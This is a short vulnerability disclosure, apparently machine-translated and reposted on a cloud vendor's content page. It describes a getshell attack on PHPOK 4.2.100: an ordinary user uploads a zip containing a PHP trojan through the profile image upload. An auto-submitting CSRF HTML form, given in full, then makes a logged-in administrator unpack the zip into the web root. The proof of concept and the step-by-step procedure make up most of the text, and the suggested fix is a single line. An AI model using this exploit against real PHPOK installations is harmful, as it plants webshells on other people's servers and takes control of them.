Phpok csrf success getshell (2)

Source: Internet
Author: User

Phpok csrf success getshell (2)

Register an account at the front end, upload a zip file, and upgrade the csrf background (the file is uploaded as a zip file). getshell is successful.

The Update file is not verified.

Version: 4.2.100

The front-end can upload zip files without verifying the upgrade files.



Upload zip Demo:

First, import our Trojan file test.phpinto the compressed package test.zip.



Register an account-Modify information.



Select a normal image and capture data


 


 





Then modify the data.


 



The zip file is uploaded successfully. Record the file ID. We have 739



During program upgrade? Referer verification is not performed on the upgrade operations of the ZIP offline package. Csrf generation

Demo csrf:


 





Poc:



Zipfile is the ID number of the file we just recorded: 739

 

<form action="http://localhost//phpok/admin.php?c=update&f=unzip" id="poc" name="poc" method="post"><input type="hidden" name="zipfile" value=""/><input type="hidden" name="file" value=""/><input type="submit" name="up" value="submit"/></form><script>var t = document.poc;t.zipfile.value="739";t.file.value="739";document.poc.submit();</script>





The Administrator only needs to access the poc we have prepared in advance. Getshell

Test. php is lying in the root directory.

 

Solution:

Verify the Update file.

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.